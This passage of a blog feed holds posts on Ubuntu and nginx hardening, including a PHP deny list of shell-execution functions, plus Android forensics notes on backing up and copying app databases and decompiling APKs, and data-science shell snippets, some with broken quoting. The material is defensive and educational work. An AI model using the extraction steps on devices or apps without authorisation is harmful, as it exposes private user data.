<span class="c"># Log Martians</span>
net.ipv4.conf.all.log_martians <span class="o">=</span> 1
net.ipv4.icmp_ignore_bogus_error_responses <span class="o">=</span> 1
<span class="c"># Ignore ICMP redirects</span>
net.ipv4.conf.all.accept_redirects <span class="o">=</span> 0
net.ipv6.conf.all.accept_redirects <span class="o">=</span> 0
net.ipv4.conf.default.accept_redirects <span class="o">=</span> 0
net.ipv6.conf.default.accept_redirects <span class="o">=</span> 0
<span class="c"># Ignore Directed pings</span>
net.ipv4.icmp_echo_ignore_all <span class="o">=</span> 1
<span class="nv">$ </span>service procps start</code></pre></div>
<h3 id="firewall-with-ufw">Firewall with UFW</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># install packegs</span>
<span class="nv">$ </span>apt-get install ufw
<span class="nv">$ </span>ufw status verbose
<span class="nv">$ </span>ufw default allow incoming
<span class="nv">$ </span>ufw default allow outgoing
<span class="nv">$ </span>ufw <span class="nb">enable</span>
<span class="c"># add rules</span>
<span class="nv">$ </span>ufw allow ssh
<span class="nv">$ </span>ufw allow 1022/tcp
<span class="nv">$ </span>ufw allow from 192.168.1.1
<span class="nv">$ </span>ufw allow 80/tcp
<span class="nv">$ </span>ufw default deny incoming
<span class="c"># resetting all rules to defauls</span>
<span class="nv">$ </span>ufw reset</code></pre></div>
<h3 id="php-settings">PHP Settings</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># /etc/php5/apache2/php.ini</span>
<span class="nv">disable_functions</span> <span class="o">=</span> show_source,system,shell_exec,passthru,exec,phpinfo,popen,proc_open,allow_url_fopen
<span class="nv">expose_php</span> <span class="o">=</span> off
<span class="nv">display_errors</span> <span class="o">=</span> off
<span class="nv">track_errors</span> <span class="o">=</span> off
<span class="nv">html_errors</span> <span class="o">=</span> off</code></pre></div>
<h3 id="apache-settings">Apache Settings</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># /etc/apache2/conf-enabled/security.conf</span>
ServerTokens Prod
ServerSignature Off
TraceEnable Off
Header <span class="nb">unset </span>ETag
FileETag None
<span class="nv">$ </span>a2enmod headers
<span class="nv">$ </span>service apache2 restart</code></pre></div>
<h3 id="install-apache-modsecurity">Install Apache ModSecurity</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># http://habrahabr.ru/post/228339/</span>
<span class="nv">$ </span>apt-get install libapache2-mod-security2
<span class="nv">$ </span>mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
<span class="c"># /etc/modsecurity/modsecurity.conf</span>
SecRuleEngine On
SecRequestBodyLimit 16384000
SecRequestBodyInMemoryLimit 16384000
<span class="c"># Install OWASP ModSecurity Core Rule Set</span>
<span class="nv">$ </span>git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git /etc/owasp-modsecurity/
<span class="nv">$ </span>mv /etc/owasp-modsecurity/modsecurity_crs_10_setup.conf.example /etc/owasp-modsecurity/modsecurity_crs_10_setup.conf
ls /etc/owasp-modsecurity/base_rules <span class="p">|</span> xargs -I <span class="o">{}</span> ln -s /etc/owasp-modsecurity/base_rules/<span class="o">{}</span> /etc/modsecurity/activated_rules/<span class="o">{}</span>
ls /etc/owasp-modsecurity/optional_rules <span class="p">|</span> xargs -I <span class="o">{}</span> ln -s /etc/owasp-modsecurity/optional_rules/<span class="o">{}</span> /etc/modsecurity/activated_rules/<span class="o">{}</span>
<span class="c"># /etc/apache2/mods-available/owasp-modsecurity.conf</span>
Include <span class="s2">"/etc/owasp-modsecurity/activated_rules/*.conf"</span>
<span class="nv">$ </span>service apache2 restart</code></pre></div>
<h3 id="install-apache-modevasive">Install Apache ModEvasive</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>apt-get install libapache2-mod-evasive
<span class="nv">$ </span>mkdir /var/log/mod_evasive
<span class="nv">$ </span>chown www-data:www-data /var/log/mod_evasive
<span class="c"># /etc/apache2/mods-available/evasive.conf</span>
DOSSystemCommand
DOSEmailNotify [email protected]
DOSWhitelist 111.111.111.111
DOSPageCount 20
DOSSiteCount 100
DOSBlockingPeriod 300
<span class="nv">$ </span>a2enmod mod-evasive
<span class="c"># for test</span>
<span class="nv">$ </span>perl /usr/share/doc/libapache2-mod-evasive/examples/test.pl</code></pre></div>
<h3 id="install-rootkit-checkers">Install Rootkit Checkers</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>apt-get install rkhunter chkrootkit
<span class="c"># /etc/chkrootkit.conf</span>
<span class="nv">RUN_DAILY</span><span class="o">=</span><span class="s2">"true"</span>
<span class="c"># /etc/default/rkhunter</span>
<span class="nv">CRON_DAILY_RUN</span><span class="o">=</span><span class="s2">"true"</span>
<span class="nv">CRON_DB_UPDATE</span><span class="o">=</span><span class="s2">"true"</span>
<span class="nv">$ </span>mv /etc/cron.weekly/rkhunter /etc/cron.weekly/rkhunter_update
<span class="nv">$ </span>mv /etc/cron.daily/rkhunter /etc/cron.weekly/rkhunter_run
<span class="nv">$ </span>mv /etc/cron.daily/chkrootkit /etc/cron.weekly/</code></pre></div>
<h3 id="install-logwatch">Install Logwatch</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>apt-get install logwatch
<span class="nv">$ </span>mv /etc/cron.daily/00logwatch /etc/cron.weekly/
<span class="c"># /etc/cron.weekly/00logwatch</span>
/usr/sbin/logwatch --output mail --range <span class="s1">'between -7 days and -1 days'</span></code></pre></div>
<h3 id="automatic-security-updates">Automatic Security Updates</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># ONLY if you really know what you are doing</span>
<span class="nv">$ </span>dpkg-reconfigure -plow unattended-upgrades</code></pre></div>
<h3 id="process-accounting">Process Accounting</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>apt-get install acct
<span class="nv">$ </span>touch /var/log/wtmp
<span class="c"># /etc/cron.weekly/acct-report</span>
<span class="c">#!/bin/bash</span>
<span class="nb">echo</span> <span class="s2">"USERS' CONNECT TIMES"</span>
<span class="nb">echo</span> <span class="s2">""</span>
ac -d -p
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"COMMANDS BY USER"</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nv">users</span><span class="o">=</span><span class="k">$(</span>cat /etc/passwd <span class="p">|</span> awk -F <span class="s1">':'</span> <span class="s1">'{print $1}'</span> <span class="p">|</span> sort<span class="k">)</span>
<span class="k">for</span> user in <span class="nv">$users</span> <span class="p">;</span> <span class="k">do</span>
<span class="nv">comm</span><span class="o">=</span><span class="k">$(</span>lastcomm --user <span class="nv">$user</span> <span class="p">|</span> awk <span class="s1">'{print $1}'</span> <span class="p">|</span> sort <span class="p">|</span> uniq -c <span class="p">|</span> sort -nr<span class="k">)</span>
<span class="k">if</span> <span class="o">[</span> <span class="s2">"$comm"</span> <span class="o">]</span> <span class="p">;</span> <span class="k">then</span>
<span class="nb">echo</span> <span class="s2">"$user:"</span>
<span class="nb">echo</span> <span class="s2">"$comm"</span>
<span class="k">fi</span>
<span class="k">done</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"COMMANDS BY FREQUENCY OF EXECUTION"</span>
<span class="nb">echo</span> <span class="s2">""</span>
sa <span class="p">|</span> awk <span class="s1">'{print $1, $6}'</span> <span class="p">|</span> sort -n <span class="p">|</span> head -n -1 <span class="p">|</span> sort -nr</code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/22/ubuntu-security-hardening/">Ubuntu Security Hardening</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 22, 2015.</p>https://jivoi.github.io/2015/07/20/mitigating-ddos-attacks-with-nginx2015-07-20 12:44:24 +0300T00:00:00-00:002015-07-20T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Useful nginx configs for antiddos</p>
<h3 id="limiting-the-rate-of-requests">Limiting the Rate of Requests</h3>
<div class="highlight"><pre><code class="language-nginx" data-lang="nginx"><span class="k">limit_req_zone</span> <span class="nv">$binary_remote_addr</span> <span class="s">zone=one:10m</span> <span class="s">rate=30r/m</span><span class="p">;</span>
<span class="k">server</span> <span class="p">{</span>
<span class="kn">...</span>
<span class="s">location</span> <span class="s">/login.html</span> <span class="p">{</span>
<span class="kn">limit_req</span> <span class="s">zone=one</span><span class="p">;</span>
<span class="kn">...</span>
<span class="err">}</span>
<span class="err">}</span></code></pre></div>
<h3 id="limiting-the-number-of-connections">Limiting the Number of Connections</h3>
<div class="highlight"><pre><code class="language-nginx" data-lang="nginx"><span class="k">limit_conn_zone</span> <span class="nv">$binary_remote_addr</span> <span class="s">zone=addr:10m</span><span class="p">;</span>
<span class="k">server</span> <span class="p">{</span>
<span class="kn">...</span>
<span class="s">location</span> <span class="s">/store/</span> <span class="p">{</span>
<span class="kn">limit_conn</span> <span class="s">addr</span> <span class="mi">10</span><span class="p">;</span>
<span class="kn">...</span>
<span class="err">}</span>
<span class="err">}</span></code></pre></div>
<h3 id="closing-slow-connections">Closing Slow Connections</h3>
<div class="highlight"><pre><code class="language-nginx" data-lang="nginx"><span class="k">server</span> <span class="p">{</span>
<span class="kn">client_body_timeout</span> <span class="s">5s</span><span class="p">;</span>
<span class="kn">client_header_timeout</span> <span class="s">5s</span><span class="p">;</span>
<span class="kn">...</span>
<span class="err">}</span></code></pre></div>
<h3 id="blacklisting-ip-addresses">Blacklisting IP Addresses</h3>
<div class="highlight"><pre><code class="language-nginx" data-lang="nginx"><span class="k">location</span> <span class="s">/</span> <span class="p">{</span>
<span class="kn">deny</span> <span class="mi">123</span><span class="s">.123.123.0/28</span><span class="p">;</span>
<span class="kn">deny</span> <span class="mi">123</span><span class="s">.123.123.3</span><span class="p">;</span>
<span class="kn">deny</span> <span class="mi">123</span><span class="s">.123.123.5</span><span class="p">;</span>
<span class="kn">deny</span> <span class="mi">123</span><span class="s">.123.123.7</span><span class="p">;</span>
<span class="kn">...</span>
<span class="err">}</span></code></pre></div>
<h3 id="whitelisting-ip-addresses">Whitelisting IP Addresses</h3>
<div class="highlight"><pre><code class="language-nginx" data-lang="nginx"><span class="k">location</span> <span class="s">/</span> <span class="p">{</span>
<span class="kn">allow</span> <span class="mi">192</span><span class="s">.168.1.0/24</span><span class="p">;</span>
<span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>
<span class="kn">...</span>
<span class="err">}</span></code></pre></div>
<h3 id="blocking-requests">Blocking Requests</h3>
<div class="highlight"><pre><code class="language-nginx" data-lang="nginx"><span class="k">location</span> <span class="s">/foo.php</span> <span class="p">{</span>
<span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">location</span> <span class="s">/</span> <span class="p">{</span>
<span class="kn">if</span> <span class="s">(</span><span class="nv">$http_user_agent</span> <span class="p">~</span><span class="sr">*</span> <span class="s">foo|bar)</span> <span class="p">{</span>
<span class="kn">return</span> <span class="mi">403</span><span class="p">;</span>
<span class="p">}</span>
<span class="kn">...</span>
<span class="err">}</span></code></pre></div>
<h3 id="limiting-connections-to-back-ends">Limiting Connections to Back-Ends</h3>
<div class="highlight"><pre><code class="language-nginx" data-lang="nginx"><span class="k">upstream</span> <span class="s">website</span> <span class="p">{</span>
<span class="kn">server</span> <span class="n">192.168.100.1</span><span class="p">:</span><span class="mi">80</span> <span class="s">max_conns=200</span><span class="p">;</span>
<span class="kn">server</span> <span class="n">192.168.100.2</span><span class="p">:</span><span class="mi">80</span> <span class="s">max_conns=200</span><span class="p">;</span>
<span class="kn">queue</span> <span class="mi">10</span> <span class="s">timeout=30s</span><span class="p">;</span>
<span class="p">}</span></code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/20/mitigating-ddos-attacks-with-nginx/">Mitigating DDoS Attacks with NGINX</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 20, 2015.</p>https://jivoi.github.io/2015/07/17/learning-android2015-07-17 19:26:55 +0300T00:00:00-00:002015-07-17T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Playing with Android OS</p>
<h3 id="list-of-usefull-software-applications">List of usefull software applications:</h3>
<ul>
<li><a href="https://developer.android.com/sdk/index.html">Android SDK</a></li>
<li><a href="https://code.google.com/p/android-apktool/downloads/list">APKTool</a></li>
<li><a href="http://jd.benow.ca/">JD-GUI</a></li>
<li><a href="https://github.com/pxb1988/dex2jar">Dex2Jar</a></li>
<li><a href="http://portswigger.net/burp/download.html">Burp Proxy</a></li>
<li><a href="http://android.saz.lt/cgi-bin/download.py">Andriller</a></li>
<li><a href="http://python.org/download/releases/3.0/">Python 3.0</a></li>
<li><a href="https://github.com/viaforensics/android-forensics">AFLogical</a></li>
<li><a href="https://github.com/sqlitebrowser/sqlitebrowser">SQLite Browser</a></li>
<li><a href="https://www.mwrinfosecurity.com/products/drozer/community-edition/">Drozer</a></li>
</ul>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://mobilesecuritywiki.com/">https://mobilesecuritywiki.com/</a></li>
<li><a href="https://manifestsecurity.com/">https://manifestsecurity.com/</a></li>
</ul>
<p><img src="http://elinux.org/images/c/c2/Android-system-architecture.jpg" /></p>
<p>The architecture of Android is divided into four different layers.
At the bottom of it sits the Linux kernel, which has been modified for better performance in a mobile environment.</p>
<p>On top of Linux kernel sits a layer that contains some of the most important and useful libraries as follows:</p>
<ul>
<li>Surface Manager: This manages the windows and screens</li>
<li>Media Framework: This allows the use of various types of codecs for playback and recording of different media</li>
<li>SQLite: This is a lighter version of SQL used for database management</li>
<li>WebKit: This is the browser rendering engine</li>
<li>OpenGL: This is used to render 2D and 3D contents on the screen properly</li>
</ul>
<p>No libc, Android has its own library called bionic, which we could think of as a stripped down and modified version of libc for Android. All the applications in Android run under a virtual environment, which is called Dalvik Virtual Machine (DVM). An important point to note here is that from Android Version 4.4, there is also the availability of another runtime called Android Runtime (ART), and the user is free to switch between the DVM and the ART
runtime environments.</p>
<p>Dalvik Virtual Machine is similar to Java Virtual Machine (JVM), apart from features such as it is register-based, instead of stack-based. If we are running three different applications, there will be three different virtual instances. The Dalvik Virtual Machine executes a file format called .dex or Dalvik Executable.</p>
<h3 id="playing-with-android-debug-bridge-adb">Playing with Android Debug Bridge (ADB)</h3>
<p>Enable USB Debugging on your phone or device:
Go to Settings –> About Phone tap “Build Number” until you get a popup that you have become a developer (about 10 times). Then go to Settings –> Developer –> USB debugging and enable it.</p>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>adb devices
<span class="nv">$ </span>adb shell
<span class="nv">$ </span>shell@hammerhead:/ <span class="nv">$ </span>ps
<span class="nv">$ </span>adb devices
<span class="nv">$ </span>adb shell pm list packages
<span class="nv">$ </span>dumpsys meminfo
<span class="nv">$ </span>adb logcat -d -f /data/local/logcats.log
<span class="c"># print the properties of the device</span>
adb shell getprop
<span class="c"># pm to list all the packages</span>
adb shell pm list packages
<span class="c"># take a backup of any application we need</span>
adb backup <span class="o">[</span>package name<span class="o">]</span> -f <span class="o">[</span>destination file name<span class="o">]</span>
dd <span class="k">if</span><span class="o">=</span>aplication.ab <span class="nv">bs</span><span class="o">=</span><span class="m">24</span> <span class="nv">skip</span><span class="o">=</span><span class="m">1</span> <span class="p">|</span> openssl zlib -d > application.tar
tar xzf application.tar
<span class="c"># dumping and analyze application databases manually</span>
the application files are stored at /data/data/<span class="o">[</span>application package name<span class="o">]</span>/
find /data/data/* -name <span class="s2">"*.db"</span> -type f
find /data/data/* -name <span class="s2">"*.db"</span> -type f -exec cp <span class="o">{}</span> /mnt/sdcard/BackupDBS <span class="se">\;</span>
<span class="c"># run avd from cli</span>
<span class="nv">$ </span>emulator -avd <span class="o">[</span>name of the avd<span class="o">]</span> -http-proxy 127.0.0.1:808</code></pre></div>
<p>Every time a new application is initiated in the Android device, it is assigned a unique User ID (UID), which will further belong to some or the other group that is pre-defined. The groups and the permissions inside it are specified in the file in our device named platform.xml located at /system/etc/permissions/.</p>
<p>The applications data that we install from the Play Store or any other source will be located at /data/data , whereas their original installation file, that is, .apk will be stored at /data/app. Also, there are some applications that need to be purchased from the Play Store instead of just downloading it for free. These applications will be stored at /data/app-private/. To list this dir you need to be a root. Rooting a device means we have full access and control over the entire device, which means we could see as well as modify any files we wish</p>
<p>An Android application permissions specified in a file called AndroidManifest.xml. This file contains a list of various application-related information such as the minimum Android version required to run the program, the package name, the list of activities (screens in the application visible to the user), services (background processes of the application), and permissions required.</p>
<p>There is no Certificate Authority; instead the developers self-created certificate could sign the applications. Once the application has been uploaded, it goes for verification to Google Bouncer, which is a virtual environment created to check whether an application is malicious or legitimate. Once the check is done, the app then appears in the Play Store. Google does no signing of the application in this case.</p>
<p>We could check the signature of the application and find out who signed the application:</p>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>jarsigner -verify -certs -verbose testing.apk
<span class="c"># or parse out the ASCII content of the CERT.RSA file</span>
<span class="nv">$ </span>unzip testing.apk
<span class="nv">$ </span><span class="nb">cd </span>META-INF
<span class="nv">$ </span>openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
<span class="nv">$ </span>cat out.cer</code></pre></div>
<p>The bootloader boots up the kernel, and launches init , it mounts some of the important directories required for the functioning of the Android system such as /dev, /sys, and /proc. Also, init takes the configuration for itself from the configuration files init.rc and init.[device-name].rc</p>
<p>We can get specific information about the device, by checking the build.prop file at /system location</p>
<p>Once everything is loaded, init finally loads up a process known as Zygote, which is responsible for loading up the Dalvik Virtual Machines with shared libraries and minimum footprint to enable faster loading of the overall processes.</p>
<p>An Android application is an archive file of the data and resource files created.
while developing the application. The extension of an Android application is .apk, meaning application package, which includes the following files and folders in most cases:</p>
<ul>
<li>Classes.dex (file)</li>
<li>AndroidManifest.xml (file)</li>
<li>META-INF (folder)</li>
<li>resources.arsc (file)</li>
<li>res (folder)</li>
<li>assets (folder)</li>
<li>lib (folder)</li>
</ul>
<p>An Android application consists of various components: Activities, Services, Broadcast, Receivers, Content providers, and Shared Preferences.
We cant simply unzip the archive package ( .apk ) and get the readable sources.</p>
<p>To convert byte codes to readable files is using a tool called dex2jar:</p>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># open converted jar with JD-GUI to see source code</span>
http://jd.benow.ca/
<span class="c"># converting the .dex file to smali file</span>
https://code.google.com/p/smali/w/list
<span class="c"># decompiling application using Apktool</span>
<span class="nv">$ </span>apktool d WhatsApp.apk
<span class="c"># defining application content provider AndroidManifest.xml</span>
<provider
android:name<span class="o">=</span><span class="s2">"com.test.example.DataProvider"</span>
android:authorities <span class="o">=</span><span class="s2">"com.test.example.DataProvider"</span>>
</provider>
<span class="c"># install apk with adb</span>
<span class="nv">$ </span>adb install app.apk</code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/17/learning-android/">Learning Android</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 17, 2015.</p>https://jivoi.github.io/2015/07/10/data-science-at-the-command-line2015-07-10 17:18:00 +0300T00:00:00-00:002015-07-10T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Notes from book</p>
<h3 id="urls">Urls</h3>
<ul>
<li><a href="http://datascienceatthecommandline.com/">http://datascienceatthecommandline.com/</a></li>
<li><a href="http://jeroenjanssens.com/2013/09/19/seven-command-line-tools-for-data-science.html">seven-command-line-tools-for-data-science</a></li>
</ul>
<h3 id="ch02---getting-started">CH02 - Getting Started</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># install tools</span>
mkdir datascience
<span class="nb">cd </span>datascience
vagrant init data-science-toolbox/data-science-at-the-command-line
vagrant up
<span class="c"># github</span>
git clone https://github.com/jeroenjanssens/data-science-at-the-command-line.git
<span class="c"># jq</span>
https://stedolan.github.io/jq/download/
<span class="c"># json2csv</span>
https://github.com/jehiah/json2csv
go get github.com/jehiah/json2csv
<span class="c"># xml2json</span>
https://github.com/buglabs/node-xml2json
<span class="c"># csvkit</span>
pip install csvkit <span class="o">(</span>in2csv, sql2csv, csvlook, csvsql<span class="o">)</span></code></pre></div>
<h3 id="ch03---obtaining-data">CH03 - Obtaining Data</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># playing with some cli tools</span>
parallel -j1 --progress --delay 0.1 --results results <span class="s2">"curl -sL ""'http://api.nytimes.com/svc/search/v2/articlesearch.json?q=New+York+'""'Fashion+Week&begin_date={1}0101&end_date={1}1231&page={2}&api-key='""'<your-api-key>'"</span> ::: <span class="o">{</span>2009..2013<span class="o">}</span> ::: <span class="o">{</span>0..99<span class="o">}</span> > /dev/null
cat results/1/*/2/*/stdout <span class="p">|</span> jq -c <span class="s1">'.response.docs[] | {date: .pub_date, type: .document_type, ''title: .headline.main }'</span> <span class="p">|</span> json2csv -p -k date,type,title > fashion.csv
< fashion.csv cols -c date cut -dT -f1 <span class="p">|</span> head <span class="p">|</span> csvlook
< fashion.csv Rio -ge <span class="s1">'g + geom_freqpoly(aes(as.Date(date), color=type), ''binwidth=7) + scale_x_date() + labs(x="date", title="Coverage of New York'' Fashion Week in New York Times")'</span> <span class="p">|</span> display
<span class="c"># in2csv - able to convert Microsoft Excel spreadsheets to CSV files</span>
<span class="nv">$ </span>in2csv data/imdb-250.xlsx > data/imdb-250.csv
<span class="c"># csvlook - nicely format the data into a table</span>
<span class="nv">$ </span>in2csv data/imdb-250.xlsx <span class="p">|</span> head <span class="p">|</span> csvcut -c Title,Year,Rating <span class="p">|</span> csvlook
<span class="c"># sql2csv - querying relational databases</span>
<span class="nv">$ </span>sql2csv --db <span class="s1">'sqlite:///data/iris.db'</span> --query <span class="s1">'SELECT * FROM iris ''WHERE sepal_length > 7.5'</span>
<span class="c"># jq - commandline JSON processor</span>
<span class="nv">$ </span>curl -s http://api.randomuser.me <span class="p">|</span> jq <span class="s1">'.'</span>
<span class="c"># curlicue - to log in api using the OAuth protocol</span>
<span class="nv">$ </span>curlicue-setup <span class="s1">'https://api.twitter.com/oauth/request_token'</span> <span class="s1">'https://api.twitter.com/oauth/authorize?oauth_token=$oauth_token'</span> <span class="s1">'https://api.twitter.com/oauth/access_token'</span> > credentials
<span class="nv">$ </span>curlicue -f credentials <span class="s1">'https://api.twitter.com/1/statuses/home_timeline.xml'</span></code></pre></div>
<h3 id="ch05---scrubbing-data">CH05 - Scrubbing Data</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># create file that contains 10 lines</span>
<span class="nv">$ </span>seq -f <span class="s2">"Line %g"</span> <span class="m">10</span> <span class="p">|</span> tee lines
<span class="c"># print the first three lines</span>
<span class="nv">$ </span>< lines head -n 3
<span class="nv">$ </span>< lines sed -n <span class="s1">'1,3p'</span>
<span class="nv">$ </span>< lines awk <span class="s1">'NR<=3'</span>
<span class="c"># print the last three lines</span>
<span class="nv">$ </span>< lines tail -n 3
<span class="c"># remove the first three lines</span>
<span class="nv">$ </span>< lines tail -n +4
<span class="nv">$ </span>< lines sed <span class="s1">'1,3d'</span>
<span class="nv">$ </span>< lines sed -n <span class="s1">'1,3!p</span>
<span class="s1"># remove last three lines</span>
<span class="s1">$ < lines head -n -3</span>
<span class="s1"># print (or extract) specific lines</span>
<span class="s1">$ < lines sed -n '</span>4,6p<span class="s1">'</span>
<span class="s1">$ < lines awk '</span><span class="o">(</span>NR><span class="o">=</span>4<span class="o">)&&(</span>NR<<span class="o">=</span>6<span class="o">)</span><span class="s1">'</span>
<span class="s1">$ < lines head -n 6 | tail -n 3</span>
<span class="s1"># print odd numbered lines</span>
<span class="s1">$ < lines sed -n '</span>1~2p<span class="s1">'</span>
<span class="s1">$ < lines awk '</span>NR%2
<span class="c"># print even numbered lines</span>
<span class="nv">$ </span>< lines sed -n <span class="s1">'0~2p'</span>
<span class="nv">$ </span>< lines awk <span class="s1">'(NR+1)%2'</span>
<span class="c"># grep pattern</span>
<span class="nv">$ </span>grep -E <span class="s1">'^CHAPTER (.*)\. The'</span> alice.txt
<span class="c"># outputting only a certain percentage of data</span>
<span class="nv">$ </span>seq <span class="m">1000</span> <span class="p">|</span> sample -r 1% <span class="p">|</span> jq -c <span class="s1">'{line: .}'</span>
<span class="nv">$ </span>seq <span class="m">10000</span> <span class="p">|</span> sample -r 1% -d <span class="m">1000</span> -s <span class="m">5</span> <span class="p">|</span> jq -c <span class="s1">'{line: .}'</span>
<span class="c"># extract fields</span>
<span class="nv">$ </span>grep -i chapter alice.txt <span class="p">|</span> cut -d<span class="s1">' '</span> -f3-
<span class="nv">$ </span>sed -rn <span class="s1">'s/^CHAPTER ([IVXLCDM]{1,})\. (.*)$/\2/p'</span> alice.txt > /dev/null
<span class="c"># remove set of characters</span>
<span class="nv">$ </span>grep -i chapter alice.txt <span class="p">|</span> cut -c 9-
<span class="c"># create a data set of all the words that start with an “a”</span>
<span class="nv">$ </span>< alice.txt tr <span class="s1">'[:upper:]'</span> <span class="s1">'[:lower:]'</span> <span class="p">|</span> grep -oE <span class="s1">'\w{2,}'</span> <span class="p">|</span> grep -E <span class="s1">'^a.*e$'</span> <span class="p">|</span> sort <span class="p">|</span> uniq -c <span class="p">|</span> sort -nr <span class="p">|</span> awk <span class="s1">'{print $2","$1}'</span> <span class="p">|</span> header -a word,count <span class="p">|</span> head <span class="p">|</span> csvlook
<span class="c"># one character needs to be replaced</span>
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'hello world!'</span> <span class="p">|</span> tr <span class="s1">' !'</span> <span class="s1">'_?'</span>
<span class="c"># to delete individual characters</span>
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'hello world!'</span> <span class="p">|</span> tr -d -c <span class="s1">'[a-z]'</span>
<span class="c"># convert our text to uppercase</span>
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'hello world!'</span> <span class="p">|</span> tr <span class="s1">'[a-z]'</span> <span class="s1">'[A-Z]'</span>
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'hello world!'</span> <span class="p">|</span> tr <span class="s1">'[:lower:]'</span> <span class="s1">'[:upper:]</span>
<span class="s1"># to change a word, remove repeated spaces, and remove leading spaces</span>
<span class="s1">$ echo '</span> hello world!<span class="s1">' | sed -re '</span>s/hello/bye/<span class="p">;</span>s/<span class="se">\s</span>+/ /g<span class="p">;</span>s/<span class="se">\s</span>+//<span class="s1">'</span>
<span class="s1"># with body cmd you can apply any command-line tool to the file (i.e., everything excluding the header)</span>
<span class="s1">$ echo -e "value\n7\n2\n5\n3" | body sort -n</span>
<span class="s1">$ seq 5 | header -a count | body wc -l</span>
<span class="s1"># header cmd allows us, as the name implies, to manipulate the header of a CSV file</span>
<span class="s1">$ < tips.csv header</span>
<span class="s1">$ seq 5 | header -a count</span>
<span class="s1">$ < iris.csv header -d | head</span>
<span class="s1">$ < iris.csv header -e '</span>tr <span class="s2">"[:lower:]"</span> <span class="s2">"[:upper:]"</span><span class="s1">'|head</span>
<span class="s1">$ seq 5 | header -a line | body wc -l | header -r count</span>
<span class="s1"># cols cmd allows you to apply a certain command to only a subset of the columns</span>
<span class="s1">$ < tips.csv cols -c day body "tr '</span><span class="o">[</span>a-z<span class="o">]</span><span class="s1">' '</span><span class="o">[</span>A-Z<span class="o">]</span><span class="s1">'" | head -n 5 | csvlook</span>
<span class="s1"># csvsql allows you to execute SQL queries directly on CSV files</span>
<span class="s1">$ seq 5 | header -a value | csvsql --query "SELECT SUM(value) AS sum FROM stdin"</span>
<span class="s1">$ seq 5 | header -a value | csvsql --query "SELECT * FROM stdin"</span>
<span class="s1">$ < iris.csv csvsql --query "SELECT sepal_length, petal_length, sepal_width, petal_width FROM stdin" | csvlook</span>
<span class="s1"># change the attribute "gender" to "sex" using sed</span>
<span class="s1">$ sed -e '</span>s/<span class="s2">"gender"</span>:/<span class="s2">"sex"</span>:/g<span class="s1">' data/users.json | fold | head -n 3</span>
<span class="s1"># working with HTML/XML and JSON</span>
<span class="s1">$ curl -sL '</span>http://en.wikipedia.org/wiki/List_of_countries_and_territories_by_border/area_ratio<span class="s1">' > wiki.html</span>
<span class="s1">$ < wiki.html scrape -b -e '</span>table.wikitable > tr:not<span class="o">(</span>:first-child<span class="o">)</span><span class="s1">'</span>
<span class="s1">$ < table.html xml2json > table.json</span>
<span class="s1">$ < table.json jq '</span>.<span class="s1">' | head -n 25</span>
<span class="s1">$ < table.json jq -c '</span>.html.body.tr<span class="o">[]</span> <span class="p">|</span> <span class="o">{</span>country: .td<span class="o">[</span>1<span class="o">][]</span>,border:.td<span class="o">[</span>2<span class="o">][]</span>, surface: .td<span class="o">[</span>3<span class="o">][]}</span><span class="s1">' > countries.json</span>
<span class="s1">$ < countries.json json2csv -p -k country,border,surface > countries.csv</span>
<span class="s1">$ < countries.json json2csv -p -k country,border,surface |csvlook|head -10</span>
<span class="s1">$ < countries.json json2csv -p -k country,border,surface |cols -c country body "tr '</span><span class="o">[</span>a-z<span class="o">]</span><span class="s1">' '</span><span class="o">[</span>A-Z<span class="o">]</span><span class="s1">'"</span>
<span class="s1"># csvcut cmd allow to extracted and reordered colums</span>
<span class="s1">$ < iris.csv csvcut -c sepal_length,petal_length,sepal_width,petal_width</span>
<span class="s1"># exclude all the bills of which the party size was 4 or less</span>
<span class="s1">$ csvgrep -c size -i -r "[1-4]" tips.csv | csvlook</span>
<span class="s1">$ < tips.csv awk -F, '</span><span class="o">(</span><span class="nv">$1</span> > 40.0<span class="o">)</span> <span class="o">&&</span> <span class="o">(</span><span class="nv">$5</span> ~ /S/<span class="o">)</span><span class="s1">' | csvlook</span>
